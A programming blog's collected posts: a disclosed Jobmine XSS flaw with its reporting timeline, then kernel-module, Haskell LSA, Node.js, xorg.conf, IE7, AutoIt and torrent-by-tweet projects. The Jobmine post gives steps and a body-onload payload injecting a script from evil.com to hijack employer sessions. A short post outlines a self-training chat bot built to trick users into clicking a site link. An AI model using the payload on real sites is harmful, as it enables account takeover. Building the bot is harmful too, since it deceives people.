The Jobmine Exploit

Once upon a time Jobmine used to accept HTML resumes. This is generally a bad idea and many companies have been hurt by their decision to allow HTML in user generated content. This is something that must be done carefully and even experts get it wrong sometimes.

Ever since Jobmine has accepted HTML resumes, it has been vulnerable to cross site scripting (XSS). This involves injecting a bit of JavaScript into a student resume and then using it to snoop on and control an employer’s account or to change their transcript.

I don’t know when Jobmine was first introduced at Waterloo, but Peoplesoft was acquired by Oracle (the place where good things go to die) in 2005, so my guess is that it was vulnerable for more than 7 years. I found the bug in 2010. I reported it on February 7th, 2011. I was told that it would be in everyone’s interest for me to not publicize this information, and since I didn’t want to make enemies at the school, I chose not to do it until it was fixed. It was fixed in December 2012, more than a year and a half later.

Exploit

The exploit was very simple. It goes as follows:

  1. Upload a JavaScript file somewhere on the Internet which steals sessions, scrapes pages, etc.
  2. Create your HTML resume however you want.
  3. Modify the body tag in your HTLM to the snippet below.
  4. Apply to jobs
  5. ???
  6. Profit!
<body onload="(function(){var script = document.createElement('script');script.src='http://evil.com/inject.js';document.getElementsByTagName('head')[0].appendChild(script)})();">

The past and the future of Jobmine

In the time between when I found the bug and when it was fixed I found out from other people that this was a relatively well known bug and I met multiple people who have used it for various purposes. The bug was fixed by not allowing HTML resumes any more and instead allowing only pdf. I’ll leave it to your imagination how much more fun you can have with pdf files.

Timeline

February 7th, 2011 – Issue reported, no timeline given for fixing it

March 1, 2011 – Warning that I’ll publish my finding soon

March 3, 2011 – I was advised that it would be in everyone’s interest to not publish this

March 3, 2011 – I proposed allowing only “pdf/word/etc.” resumes

December 17-21, 2012 – Jobmine down for 4 days, switching to pdf resumes

Network Code Module

In the Winter term of 2013, Francis Williams and I worked on an interesting project with one of our professors, Sebastian Fischmeister. The goal was to implement, in software, a language for real time communication schedules that he invented. The paper is available. Our final result is also available. It was based on a slightly newer version of the language that was already implemented in hardware in an FPGA.

The project required us to learn how to write a Linux kernel module for RTLinux. We had to send and receive packets in real time. Ultimately, the network code module modified the state of variables that we made accessible to userspace. We chose to use /sys as the interface because it’s a very clean way of communicating small amounts of data between kernelspace and userspace. We also tried /dev, but we ran into issues reading from the device. We had a collection of command line tools to convert network code machine instructions between different formats. In addition to the kernel module, we wrote a tool for visualizing network schedules. It was web based and it read input from a file generated using a python script.

The list of technologies we had to use to accomplish this is:

  • ArchLinux because it’s awesome

  • VirtualBox because we blew up the kernel over 9000 times

  • Linux kernel source code reading like a baws

  • C with no chaser

  • Make because Linux kernel :/

  • Bash scripts because why not?

  • Python 2 and 3 – yay!

  • Bootstrap, JavaScript, CSS, HTML, etc. because who doesn’t love a pretty UI!

Latent Semantic Analysis in Haskell

Last weekend I decided to learn Haskell with Francis Williams. It was an epic adventure. Last night I implemented LSA – Latent Semantic Analysis using Haskell.

For those of you who are not enlightened: LSA takes a list of documents, extracts terms from them, builds a tf-idf matrix, then compresses the matrix to build a lower dimensional approximation, to improve the speed and accuracy of measuring the similarity between documents. Sometimes, this is used in combination with clustering to group the documents into categories.

I want to point anyone interested in this towards the following resources that helped me do this:

In case anyone wants to do something similar themselves, here is the code I ended up with. Please let me know if I’m doing something stupid and I’ll fix this up. I suspect that I am, considering how new I am to Haskell.

import Data.List
import Data.Char
import Numeric.LinearAlgebra

titles = ["The Neatest Little Guide to Stock Market Investing",
          "Investing For Dummies, 4th Edition",
          "The Little Book of Common Sense Investing: The Only Way to Guarantee Your Fair Share of Stock Market Returns",
          "The Little Book of Value Investing",
          "Value Investing: From Graham to Buffett and Beyond",
          "Rich Dad's Guide to Investing: What the Rich Invest in, That the Poor and the Middle Class Do Not!",
          "Investing in Real Estate, 5th Edition",
          "Stock Investing For Dummies",
          "Rich Dad's Advisors: The ABC's of Real Estate Investing: The Secrets of Finding Hidden Profits Most Investors Miss" ]

stopwords = ["and","edition","for","in","little","of","the","to"]

text = unlines titles

docs :: [[String]]
docs = map (filter (not . (`elem` stopwords))) $      -- stopwords filter
        map words $
          lines $
            filter (\x -> isAlpha x || isSpace x) $   -- discard everything except alpha and space characters
              map toLower text                        -- lowercase the input

tf :: [([Char], Int)]
tf = filter (\(_,f) -> f>1) $ map (\l@(x:xs) -> (x,length l)) . group . sort $ concat docs -- remove words that appear only once

doc_freq :: Int -> [Char] -> Int
doc_freq d t = length (filter (==t) (docs !! d))

mat :: Matrix Double
mat = buildMatrix (length tf) (length docs) ( \(term, doc) ->
          let occurances = fromIntegral $ doc_freq doc $ fst $ tf !! term -- occurance count
              docLength = genericLength $ docs !! doc                     -- words per doc
              numDocs = genericLength docs                                -- number of docs
              commonness = fromIntegral $ snd $ tf !! term                -- number of docs this word occurs in
          in (occurances / docLength * log (numDocs / commonness))
      )

compress k m = u_k  sigma_k  v_k where
    (u,sigma,v) = fullSVD m                         -- get SVD
    sigma_k = (takeColumns k . takeRows k) sigma    -- keep k values of Σ
    u_k = takeColumns k u                           -- keep k columns of U
    v_k = takeRows k $ trans v                      -- keep k rows of v

reduce_dim k m = v_k where
        (u,sigma,v) = fullSVD m                         -- mapping of documents to concept space
        v_k = takeRows k $ trans v                      -- keep k rows of v

Node Knockout: Node RPG

Node Knockout

Last weekend I participated in Node Knockout with Francis Williams. It was really bad timing for both of us and we were able to put in about 30 man hours into our project, but I’m proud of what we accomplished and I want us to continue working on it.

The version that we submitted at the end of the 48 hours contained a number of serious bugs which could have been fixed easily if I was there, but Francis was the only one left to fight some of my code which turned out to be pretty confusing without any documentation. Here it is. Don’t look at it.

You can check out the latest version at http://rpg.no.de until we get our free hosting taken away. We’ll probably work on this project in private for a while and then start inviting people to participate when we have something interesting.

Here are some of my opinions and experiences with the various technologies we used during the competition.

NKO2

This was the second Node Knockout. As soon as I heard about the first one, I knew I had to participate in the next one because I was messing with node.js for a while and I wanted to put together something cool. It was really fun because everyone was using open source software and the people running it were on IRC responding the any questions or problems that contestants are having during the whole competition. It was really cool that you could get on IRC and ask everyone else who is participating if they have experiences the same problems as you and how they solved them. Everyone was very helpful.

NowJS

NowJs allows you to use the magical “now” object to share variables between the client and the server. It also allows you to call a function on the other side of the wire as if it’s defined locally. You can even pass callbacks! It’s really cool.

We used NowJS extensively for this project. I loved the RMI, but I quickly realized that the shared variables don’t have much of a use. We did not have anything that can be directly exposed to the client and it was not possible to filter the values allowed to be set in these magical variables. It was basically awkward and useless, so we stuck with using RMI for setting variables and updating game state. Groups were another feature which we tried really hard to use, but it just seemed awkward because we wanted to manage our user list and “room” list ourselves. I did not see the value of using NowJS groups over just sending a message to each user in our own group object.

I was really excited about NowJS when I started, but now I think it’s just badly thought out and too immature to be useful for anything serious. I think that there are no real world use cases where you would want to set a variable on the server directly from the client. I think that this would give the client an opportunity to DOS the server by setting a really really big set of data into a variable, but I may be wrong.

In the future, I will replace NowJS with dnode and see how well that goes.

Express, Jade, Stylus

visionmedia(TJ Holowaychuk) has taken node.js and made something that’s really, really easy to use and speeds up development time dramatically. It looks like TJ has made all the best tools that exist for building websites in node.js. Express gives us the framework to parse requests and serve pages. Jade gives us an amazing templating engine which looks much cleaner than any other templating engine including HAML. Stylus allows us to write CSS without all the unnecessary punctuation and with all the features of LESS. These are all really cool tools that I will probably always use every time I use node to make a website. I’m actually also very interested in Calipso and I am planning to get involved in that.

Heroku vs. Joyent?

In the beginning we started off with Heroku as our deploy target. Late at night on the first day we found out that they don’t support WebSockets. Someone on IRC told me to try switching to Joyent. It seemed like a lot of work at the time and we delayed it, but on the next day I decided to give it a try and – lo and behold – I switched in a fraction of the time it took me to set up Heroku and I got my WebSockets and it was awesome. We stayed with them for the rest of the competition. They give you SSH access and it’s really cool. I’m not saying there’s anything wrong with Heroku – they have really cool features and it looks like they let you scale your app really well – I’m just saying that if you are doing a hackathon, Joyent will save you time.

At one point, after the end of the 48 hours, our node server stopped being accessible from the internet and I went on IRC and asked in #joyent if anyone knows what’s going on. Everyone was sleeping, but a bit later one more person popped up reporting the same problem and we determined that we are on the same server. When Joyent woke up the next day, they fixed it and we were back online. I want to thank the Joyent team for being responsive and awesome and fixing problems quickly and you are totally forgiven :)

Conclusion

Node Knockout was a great experience and I did not necessarily learn something new, but did realize how much I can accomplish with the skills that I’ve obtained over the past few years. I hope to be a part of Node Knockout 3 whenever that happens! Next time we’ll be more prepared and have a more complete team. Maybe one day we’ll build something worthy of a prize.

Read what Francis has to say about the competition here!

Ubuntu 11.04: Rotate only one of two monitors (nvidia, X11, xorg.conf)

Edit: This may not work any more. Last time I tried it I failed. If anyone knows how to do this let me know.

Background:

I got a new monitor stand and I wanted to rotate one of my monitors so I can see more code per page. This works easily in Windows, but apparently no one cares enough about Ubuntu. The information I found from a Google search was not very helpful and it took me over an hour to figure out how to do this, so I hope I can help someone with this post.

Disclaimer: There are probably other ways to do this, but this is just the first thing that worked for me. If you know of a better way, please leave a comment. Note that I haven’t tested this with 3D or games or anything fancy.

I have an Nvidia video card with two DVI monitor outputs and I’ve set up my desk with a BENQ monitor on the left rotated vertically (right side up) and an LG monitor on the right of it at a height near the middle of the other one.

Problems

It turns out that when I rotate the screen with RandR I can only rotate one device. With TwinView, you have one device for both monitors, so they can’t be rotated individually. That leads to rotating being almost useless because one screen is always rotated wrong. It seems to me that it’s impossible to have the screens rotated differently with just one device(note: I mean xorg.conf “device”, not one video card) and TwinView.

When I tried to make two screens with two separate Devices, I ran into some problems. The Nvidia X Server Settings tool did not present the option to do this, so I had to edit the xorg.conf file.

Solutions

  1. Create a copy of /etc/X11/xorg.conf by running
    sudo cp /etc/X11/xorg.conf /etc/X11/xorg.conf.bak
    

    If anything goes wrong at any time, press CTRL+ALT+F1 (for example, when X11 fails to start) to enter a command line screen. Log in and type this to get your old settings back.

    sudo cp /etc/X11/xorg.conf.bak /etc/X11/xorg.conf
    

    You will probably just have to restart after this to be able to log in normally again.

    Note: You can always press CTRL+ALT+F7 to go back to the graphical desktop.

  2. After you have a back up, go into NVIDIA X Server Settings under System > Administration and open the tab X Server Display Configuration

  3. Click Configure... and select Separate X screen
  4. Click Enable Xinerama
  5. Select the first monitor and in the X Screen tab make sure it’s positioned at Absolute +0+0
  6. Select the second monitor and in the X Screen tab position it at Absolute +(width of your first monitor)+0 to place it to the right of the first one.
  7. Click Save to X Configuration File – It will complain that the positioning is absolute. Ignore it. It didn’t work for me with relative positioning.
  8. Save the X Configuration File. This will overwrite the file /etc/X11/xorg.conf
  9. Log out and log in again and verify that everything works normally with the two screens beside each other.
  10. Open /etc/X11/xorg.conf to edit it by hand. Nvidia’s tool does not support these options. You need to edit it as admin, so the easiest way is to run

    sudo gedit /etc/X11/xorg.conf
    

    You may see the error

    Xlib:  extension "RANDR" missing on display ":0.0".
    

    Ignore it. You may also have gotten the error “XServer lacks support to dynamic resizing” when you logged in. Ignore this too. I didn’t see a way to make it go away, but it doesn’t break anything as far as I know. (maybe it breaks games?)

  11. Find the Device corresponding to the monitor you want to rotate and add this line to its configuration.

    Option         "Rotate" "right"
    

    or, of course,

    Option         "Rotate" "left"
    
  12. Now that the screen is rotated, you have to make sure that the screens are positioned beside each other or you won’t be able to move your mouse from one to the other. Edit the location of the second Screen in Section “ServerLayout”. Set the first number (the horizontal offset) to the width of the first monitor and the second number (the vertical offset) can be anything you want. If you want to position the two screens with their bottom edges aligned, try calculating width – height and using that number. It depends on how your monitors are set up physically so just play with it. You’ll have to log out and log back in after every change if you want to see the effect.
    Screen      1  "Screen1" 1050 380
    
  13. Save xorg.conf, log out and log back in. This should give you a working setup. I have experienced some glitches such as slow switching between workspaces, redraw bugs and other minor annoyances, but it works and I’m happy. This is what my xorg.conf file looks like now:

    Section "ServerLayout"
        Identifier     "Layout0"
        Screen      0  "Screen0" 0 0
        Screen      1  "Screen1" 1050 380
        Option         "Xinerama" "1"
    EndSection

    Section "Monitor"
        Identifier     "Monitor0"
        VendorName     "Unknown"
        ModelName      "BenQ FP202W"
        HorizSync       30.0 - 84.0
        VertRefresh     56.0 - 76.0
        Option         "DPMS"
    EndSection

    Section "Monitor"
        Identifier     "Monitor1"
        VendorName     "Unknown"
        ModelName      "LG Electronics W2252"
        HorizSync       28.0 - 83.0
        VertRefresh     56.0 - 75.0
    EndSection

    Section "Device"
        Identifier     "Device0"
        Driver         "nvidia"
        VendorName     "NVIDIA Corporation"
        BoardName      "GeForce 9500 GT"
        Option         "Rotate" "right"
        BusID          "PCI:2:0:0"
        Screen          0
    EndSection

    Section "Device"
        Identifier     "Device1"
        Driver         "nvidia"
        VendorName     "NVIDIA Corporation"
        BoardName      "GeForce 9500 GT"
        BusID          "PCI:2:0:0"
        Screen          1
    EndSection

    Section "Screen"

        Identifier     "Screen0"
        Device         "Device0"
        Monitor        "Monitor0"
        DefaultDepth    24
        Option         "TwinView" "0"
        Option         "TwinViewXineramaInfoOrder" "DFP-0"
        Option         "metamodes" "DFP-0: nvidia-auto-select +0+0"
        SubSection     "Display"
        Depth       24
        EndSubSection
    EndSection

    Section "Screen"
        Identifier     "Screen1"
        Device         "Device1"
        Monitor        "Monitor1"
        DefaultDepth    24
        Option         "TwinView" "0"
        Option         "metamodes" "DFP-1: nvidia-auto-select +0+0"
        SubSection     "Display"
        Depth       24
        EndSubSection
    EndSection

Please tell me if you know something I could have done better in my setup. Is there some other way to get this thing working with less glitches? Do you know why the error messages come up? Did anyone try 3D with a setup like this?

IE7 Margin Bug

I found a bug in Internet Explorer 9 working in IE7 mode today which has to do with the inheritance of horizontal margins.

Update: It turns out that this is a problem only in quirks mode and in IE7 mode!

The bug is that an input inside a floated div inherits the horizontal margin from the div.

So if we have

<div style="float:left; margin:20px;">
    <input/>
</div>

then the margin-left and margin-right on the input are 20px.

I found something similar here but it doesn’t seem to happen in IE9. This one does. I haven’t tested in in other versions of IE, but I did make a test.

Try this test:

<style>
.clear { border:none; clear:both;}
.blue { background-color:#00AAFF; }
.red { background-color:red; }
</style>

<p>Broken in IE9:</p>
<div class="blue">
    <div style="float:left; margin:20px;" class="red">
        <input/>
    </div>
    <div class="clear"></div>
</div>

<p>Not broken in IE9:</p>
<div class="blue">
    <div style="float:left; margin:20px;" class="red">
        <span style="width:0px"></span>
        <input/>
    </div>
    <div class="clear"></div>
</div>

I wonder if it breaks other versions of IE too. One fix is to make sure the input isn’t the first element inside the div. There are other ways to get around it too.

P.S. Why is the first blue box extending to include the paragraph after it??? Looks like a topic for another blog post *sigh*.

Automating a PC to behave as a TV

Background

My Bulgarian grandparents had nothing to do all day after moving in with us, so my dad bought a subscription to watch Bulgarian TV over the internet. However, my grandparents are very old and can’t use computers at all – you can’t just say “oh just double click it” because they can’t even move the mouse effectively. So I decided to see if I can make it possible to connect the PC to the TV and automate it so that they don’t have to do anything other than turn it on.

First attempt

The connection was simple – the TV had a VGA port and an audio input so I just connected it like a monitor and speakers.

Automating the boot sequence was a bit more complicated, still easy. I initially set it up like this:

  1. The PC turns on
  2. Chrome turns on and opens the page with an embedded video
  3. Chrome is redirected to the login page
  4. LastPass automatically logs in
  5. Chrome is back to the video and loads it
  6. An autoit script that was run on startup slept 20 seconds from start up and now double clicks the video to make it full screen
  7. Tada!

This wasn’t enough for me though. They could only watch one channel, but there were 22 others that the site offered. It would be a waste of money to pay for all of them and not be able to watch them. So I looked into how I can make autoit change channels.

Second attempt

I realized that autoit can be used for a lot more than double clicking, so I embarked on a 3 hour journey into the mess and madness that is autoit scripting. It seems similar to Visual Basic, but then again, I’ve never used visual basic. Initially I started writing some really barbaric code, but as time went on I got pretty disgusted with my code and made it more compact and robust. Initially I tried making autoit trigger on regular key presses of the buttons 0-9, q-p, a-s. That ended badly because the events triggered by these buttons had to type in the url of the next video. That triggered more events and it got into an infinite loop. Apparently there are ways around it, but I didn’t find a reliable one and ended up using ctrl+button rather than just the buttons.

Now I had a way to choose one of the 22 channels by just pressing ctrl + the number or letter! I showed it to my grandparents in that state and my grandfather refused to touch it and my grandmother was confused about how to hold ctrl. So, I needed a mechanism like on the remote to change go to the next or previous channel. I assigned the INSERT and HOME keys to do that because they were beside each other and the labels didn’t mean anything for my grandparents. My grandmother seemed to hold the button for too long when she presses it so I had to make sure it doesn’t trigger again. I think that worked relatively well. At the end I had a pretty good script that works on a few assumptions:

  • LastPass is set up to log in automatically
  • chrome is used
  • the title of the page is “www.djTacho.com”
  • the urls of the channels won’t change
  • the wireless turns on as soon as the pc turns on
  • chrome is the default browser
  • chrome is always full screen
  • buttons are not pressed too fast one after the other

It seems like a long list now that I wrote it out. I’m considering making a JavaScript page that uses an iframe to load the video, which will significantly reduce the chances of the whole thing breaking. I’ll still need the autoit script to make it full screen though.

This is the final script:

Local $channels[128]
;These correspond to the ascii codes of their shortcuts
$channels[48] = "DIEMA";0
$channels[49] = "";1
$channels[50] = "NOVA";2
$channels[51] = "BTV";3
$channels[52] = "PROBG";4
$channels[53] = "KANAL3";5
$channels[54] = "PLANETA";6
$channels[55] = "DIEMA2";7
$channels[56] = "DIEMAFAMILY";8
$channels[57] = "FOXLIFE";9
$channels[113] = "RINGBG";q
$channels[119] = "TV7";w
$channels[101] = "BTVCOMEDY";e
$channels[114] = "NG";r
$channels[116] = "EUROSPORT";t
$channels[121] = "BTVCINEMA";y
$channels[117] = "TVPLUS";u
$channels[105] = "NOVASPORT";i
$channels[111] = "for-kids";o
$channels[112] = "filmi";p
$channels[97] = "chalga";a
$channels[115] = "pop";s
Local $bound
Local $url = "http://www.djtacho.com/members/tv.php?id="
Local $default_channel = '1'
Local $keys[22] = ['1','2','3','4','5','6','7','8','9','0','q','w','e','r','t','y','u','i','o','p','a','s']
Local $current = $default_channel
Local $pause = False


;wait for the page to open
Run(@Comspec & " /c start " & $url & $channels[Asc($default_channel)])
WinWaitActive("www.djTacho.com - Google Chrome")
Sleep(3000)
ToggleFullscreen()

BindHotKeys()

Func NextChannel()
  ;this stop working at the end anyways so that's good enough
  $found = False
  For $key In $keys
    If $found Then
      ChangeToChannel($key)
      $found = False
      ExitLoop
    EndIf
    If $key == $current Then
      $found = True
    EndIf
  Next
  If $found Then
    ChangeToChannel($keys[0])
  EndIf
EndFunc

Func PrevChannel()
  If $current <> $keys[0] Then ;stop at the beginning
    $last = $keys[0]
    For $key In $keys
      If $key == $current Then
        ChangeToChannel($last)
        ExitLoop
      EndIf
      $last = $key
    Next
  Else
    ChangeToChannel($keys[21])
  EndIf
EndFunc

Func ProcessKey()
  ChangeToChannel(StringTrimLeft(@HotKeyPressed, 1))
EndFunc

Func ToggleFullscreen()
  MouseClick("left", 250, 250)
  MouseClick("left", 250, 250)
EndFunc

Func GoToURL($url)
  MouseClick("left", 700, 700)
  Send("{F6}")
  Send($url)
  Send("{ENTER}")
EndFunc

Func ChangeToChannel($channel)
  If Not $pause Then
    $pause = True
    $current = $channel
    ToggleFullscreen()
    GoToURL($url & $channels[Asc($channel)])
    Sleep(2000)
    ToggleFullscreen();on
    $pause = False
  EndIf
EndFunc

Func BindHotKeys()
  For $key in $keys 
    HotKeySet("^" & $key, "ProcessKey")
  Next
  HotKeySet("{HOME}", "NextChannel")
  HotKeySet("{INSERT}", "PrevChannel")
  HotKeySet("{SPACE}", "ToggleFullscreen")
  HotKeySet("{PAUSE}", "ToggleBindings")
  $bound = True
EndFunc

Func UnbindHotKeys()
  For $key in $keys 
    HotKeySet("^" & $key)
  Next
  HotKeySet("{INSERT}")
  HotKeySet("{HOME}")
  HotKeySet("{SPACE}")
  $bound = False
EndFunc

Func ToggleBindings()
  If $bound Then
    UnbindHotKeys()
  Else
    BindHotKeys()
  EndIf
EndFunc

While 1
  ;
WEnd

PS: I made spacebar toggle fullscreen. That way if something breaks, they can try to fix it by pressing space. Somehow I doubt they’ll remember that, but it’s worth a try.

PPS: If anyone knows how to get the length of an array, please tell me. Then I wouldn’t have to hardcode “21” on line 68.

Best spam/advertising bot ever

I wouldn’t be surprised if someone has already done this, but I came up with this after seeing so many bots trying to troll me unsuccessfully.

  1. Make a chat bot
  2. Take a whole bunch of chat histories (parse them with regex magic and put them in a db?)
  3. Use the first line of a random conversation as a conversation starter for your bot
  4. Every time the user says anything, find the closest match in the conversation histories and use the response given there; if there is nothing even close, use a random line
  5. Eventually provide the user with a link to your site
  6. Check if the user clicked on the link and optionally how long he stayed on your site
  7. Save each successful conversation as a new conversation and discard each failure to persuade the user to click on the link; optionally increase the weight of the lines used in proportion to how long the user stayed on the site
  8. The better responses will start being used more often
  9. ???
  10. Profit!

Downloading torrents by text message

Inspiration

I was often stranded on a bus or somewhere else without wifi and wished I could start a torrent download before I forget to do it. I needed a way to use my cell phone to do it without having access to the internet. Twitter is the best place I could think of which will provide me with a simple way of transcending from the world of SMS into the world of interwebz. So I wrote a little python script that connects twitter, demonoid.com and a torrent server.

Typical use case

  1. You need a torrent, let’s say “Paintings of Van Gogh Collection”
  2. You make sure your cell phone is connected to your twitter accounts so you can tweet through text messages
  3. You text twitter with “@torrenter download Paintings of Van Gogh Collection”
  4. The torrent server runs this python script periodically, checking for new messages directed at its twitter account (or any twitter account I guess)
  5. The torrent server sees a new request, searches demonoid for the most seeded torrent that is relevant and starts downloading it

The setup

(It’s assumed that you have a linux based server you want to control through your cell phone)

  1. Make a twitter account for your torrenter
  2. Set up your phone to tweet through text messages
  3. Put the python script below on your torrent server
  4. Configure the variables inside the script (demonoid username and password, download path and twitter username for the torrenter)
  5. Set up cron to run it periodically
  6. Set up your torrent client to load torrent files from the folder you chose to download the torrents to in the config

Edit: Demonoid seems to have changed their domain to demonoid.me, so if anyone wants to try this, see if just changing the domain will work. If not I guess you’ll have to figure it out yourself.

import urllib, urllib2, json, re, cookielib
urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar())))

demonoid_user = ''
demonoid_password = ''
save_folder = ''
torrenter_twitter = ''

def torrenter_download(command):
    q = ' '.join(command[2:])
    listing = urllib2.urlopen('http://www.demonoid.com/files/?'+urllib.urlencode({
        'query' : q,
        'category' : 0,
        'subcategory' : 'All',
        'seeded' : 0,
        'external' : 2,
        'uid':0,
        'sort':'S',
    }))
    torrent = re.findall(r'<a href="([/a-zA-Z0-9]+)"><img src="/images/downbg.gif"', listing.read())[0]
    download = open(save_folder + q + '_' + str(torrent.rsplit('/')[4]) + '.torrent', 'wb')
    download.write(
        urllib2.urlopen('http://www.demonoid.com/account_handler.php',
            urllib.urlencode({
                'nickname' : demonoid_user,
                'password' : demonoid_password,
                'returnpath' : torrent
                })
        ).read()
    )
    download.close()

try:
    f = open(save_folder+'last_id.txt', 'r')
    last_id = f.read()
except:
    last_id = ''

results = json.loads(
    urllib2.urlopen('http://search.twitter.com/search.json', 
        urllib.urlencode({
            'q' : '@'+torrenter_twitter,
            'rpp' : 10,
            'result_type':'recent',
            'since_id':str(last_id)
        })
    ).read()
)['results']

for req in results:
    command = req['text'].rsplit(' ')
    commands = {
        'download' : torrenter_download,
    }
    try:
        commands[command[1]](command)
    except:
        pass

if len(results) > 0:
    f = open(save_folder+'last_id.txt', 'w')
    f.write(str(results[0]['id']))